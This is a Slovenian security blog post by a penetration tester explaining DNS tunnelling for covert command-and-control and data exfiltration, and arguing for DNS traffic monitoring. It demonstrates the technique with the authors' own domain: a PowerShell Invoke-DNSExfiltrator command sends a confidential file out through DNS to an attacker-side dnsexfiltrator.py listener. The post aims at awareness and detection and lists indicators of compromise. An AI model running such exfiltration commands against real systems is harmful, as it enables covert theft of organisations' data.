Informacijske tehnologije

Tudi hekerji nosijo (zaščitne) maske, 2. del

05. maj 2020 mag. Matevž Mesojednik, SIQ Ljubljana

V prvem delu iz serije blogov smo se dotaknili dveh temeljnih ciljev kibernetskih napadalcev; to sta oddaljeni prevzem (sistema) žrtve ter tamkajšnje prikrito ohranjane dostopa iz napadalčevega C2 komandnega strežnika. Iz prve roke lahko povemo, da vzpostavitev vzvratnega komunikacijskega kanala do notranjih virov ciljne organizacije ni vedno trivialna. Skrajni manever, ki ga pentesterji na terenu v enako skrajnih situacijah uporabimo, je vzvratno tuneliranje prek uveljavljenega protokola DNS (Domain Name Service). Tehniko, ki pa (žal) ni poznana le izurjenim »etičnim« hekerjem, bomo prikazali v nadaljevanju.

Omenili smo že, da v praksi naletimo tudi na zgledno varnostno utrjene sisteme, ki ne dovoljujejo poljubne komunikacije z zunanjimi, zaupanja nevrednimi viri. V najboljšem primeru izvajalec varnostnega preizkusa, v najbolj črnih scenarijih pa heker ali vnesena škodljiva koda, skušajo potemtakem svojo priložnost iskati v legitimnih komunikacijskih poteh (npr. HTTP(S), RDP, SMTP ipd.).

Z modernejšimi varnostnimi pristopi je mogoče zakrivanje poskusov t.i. tuneliranja relativno enostavno zaznati in ustrezno preprečiti že na omrežni ravni. Enako velja tudi za protokolno ter aplikativno inspekcijo protokola DNS, kjer pa se ta pogosto – enako smo nanjo namerno pozabili v predhodnem blogu – znajde na stranskem tiru. Za nazornejši prikaz problematike podajamo atraktiven opis orodja, sicer prosto dostopnega na svetovnem spletu, ki omogoča prikrito upravljane oddaljenega sistema oz. eksfiltriranje podatkov iz njega.

The shell uses legitimate DNS requests and responses to encode commands and exfiltrated data, making the traffic look like just a bunch of funky DNS requests on the wire. 

Najprej pa se vrnimo k osnovam. Podporna storitev DNS velja v internetnem svetu za nepogrešljivo in jo v razlagah radi primerjamo s tradicionalnim telefonskim imenikom. Omogoča namreč razreševanje spletnih naslovov (npr. naprav ali storitev) v njihove dejanske internetne naslove, ki jih povezani informacijsko-komunikacijski sistemi uporabljajo za medsebojno sporazumevanje. Ugotavljamo, da je prav razširjenost koncepta DNS najverjetnejši razlog za ustvarjeno zaupanje vanj ter njegovo šibko obvladovanje z vidika kibernetske varnosti. Izhodiščno ugotovitev želimo na tem mestu še nadgraditi; menimo, da je analiza DNS povpraševanj v tipičnih organizacijah vse prej kot izkoriščen potencial.

Navajamo tri bistvene argumente za neprekinjeno spremljanje prometa DNS:

  • Razširitev varnostne vidljivosti znotraj organizacije na poljuben tip komunikacije, ki za razreševanje izvorov in ciljev uporablja DNS (npr. HTTP(S), RDP, SSH oz. poljuben poskus odhodne povezave iz okužene naprave).
  • DNS razreševanje uporablja tudi napredna škodljiva koda (npr. DGA – Domain Generation Algorithm).
  • Integracija hibridnih varnostnih rešitev z namenskimi rešitvami za prepoznavanje domen s slabim ugledom (strok. Threat Intelligence).

Dobra novica za hekerja, tako etičnega kot zlonamernega, je praviloma dovoljena uporaba koncepta DNS tudi v najbolj zaprtih informacijskih okoljih. Prav slednje je zadosten vzvod za njegovo zlorabo v okoliščinah, ko oddaljeno upravljanje prek drugih (bolj intuitivnih) poti ni dovoljeno. Izkaže se, da velja za dovolj ohlapno že na pogled konservativnejša robna varnostna politika, ki dovoljuje navzgornjo komunikacijo izključno prek vrat UDP/53, z zgolj zaupanja vrednim primarnim strežnikom DNS. Še več, hierarhična zasnova koncepta DNS omogoča zanesljivo interakcijo med (ne)nadzorovano škodljivo kodo (v notranjem omrežju organizacije) in C2 komandnim strežnikom napadalca, četudi neposredna povezljivost z žrtvijo napada ne obstaja, ni dovoljena oz. je ta eksplicitno prepovedana z robno varnostno politiko (npr. požarne pregrade). Posebnost nazorneje prikažimo na primeru:

Napadalec mora za izvedbo takšnega napada registrirati domeno (zadošča enkraten strošek 2$), katere avtoritativni DNS strežnik obrne na C2 komandni strežnik v njegovi posesti. Na slednjem namesti zlonamerno orodje, katerega poslanstvo ni streženje legitimnih DNS odgovorov temveč interakcija z (ne)nadzorovano kodo na strani žrtve.

Z namenom prikaza tehnike smo registrirali domeno siq.best in uredili zapise po meri:

REGISTRACIJA DOMENE:
whois siq.best | grep name
Domain Name: SIQ.BEST
Name Server: C2_SERVER_FQDN
Name Server: NS4.MOJHOST.SI

V nadaljevanju podajamo strnjen prikaz eksfiltracije občutljive datoteke z uporabo opisane tehnike:

ŽRTEV [SIQ\mmesojednik]
PS C:\Tools\DNSExFil>  Invoke-DNSExfiltrator -i C:\POMEMBNO\pogodba.txt -d
siq.best -p password
[*] Compressing (ZIP) the [pogodba.txt] file in memory
[*] Encrypting the ZIP file with password [password]
[*] Encoding the data with Base64URL

[*] Sending data…
[*] DONE !

NAPADALEC [C2 server | Avtoritativni strežnik DNS]
#python dnsexfiltrator.py -d siq.best -p password
[*] DNS server listening on port 53
[+] Data was encoded using Base64URL

[+] Receiving file [pogodba.txt] as a ZIP file in [1] chunks
[============================================================] 100.0%

[+] Decrypting using password [password] and saving to output file
[pogodba.txt.zip]
[+] Output file [pogodba.txt.zip] saved successfully

# zcat pogodba.txt.zip
STROGO ZAUPNO!!!

Posebnost tehnike, ki jo naredi še toliko bolj prepričljivo ter učinkovito, je zakrivanje identitete (naslov IP ali FQDN) C2 komandnega strežnika skozi celoten potek eksfiltracije. Opazite, da je v zgornjem ukazu podano le ime domene, ne pa tudi naslov strežnika?

Kot je razvidno iz zajema prometa (uporaba orodja Wireshark) na strani simulirane žrtve, ta neposredno komunicira le s primarnim, zaupanja vrednim strežnikom DNS. Internetni naslov C2 komandnega strežnika, ki ima hkrati vlogo avtoritativnega strežnika DNS za napadalčevo domeno siq.best, v zajeti komunikaciji ne nastopa. Slednje korenito oteži zaznavo in preprečitev takšnega napada.

Iz posnetega prometa je razvidna dejanska interakcija in ustvarjen šum v procesu eksfiltracije občutljive datoteke. Indikatorje prevzema (strok. Indicator of Compromise) oz. odstopanja od legitimnega DNS povpraševanja gre očitno iskati drugod, kot npr. v visoki entropiji iskanih pod-domen krovne domene siq.best, v intenziteti povpraševanja iz enega samega izvora, v ustvarjeni količini DNS prometa ipd.

Na tem mestu se ustavimo in povabimo k deljenju svojih izkušenj tudi vas, bralce. Ter nenazadnje tudi specializirane »blue-teame«, varnostno operativne centre (Security Operations Center – SOC) in pristojne informatike, ki na drugi strani opisane tehnike neprekinjeno zaznavate in preprečujete. Stay tuned …

Nazaj na vse novice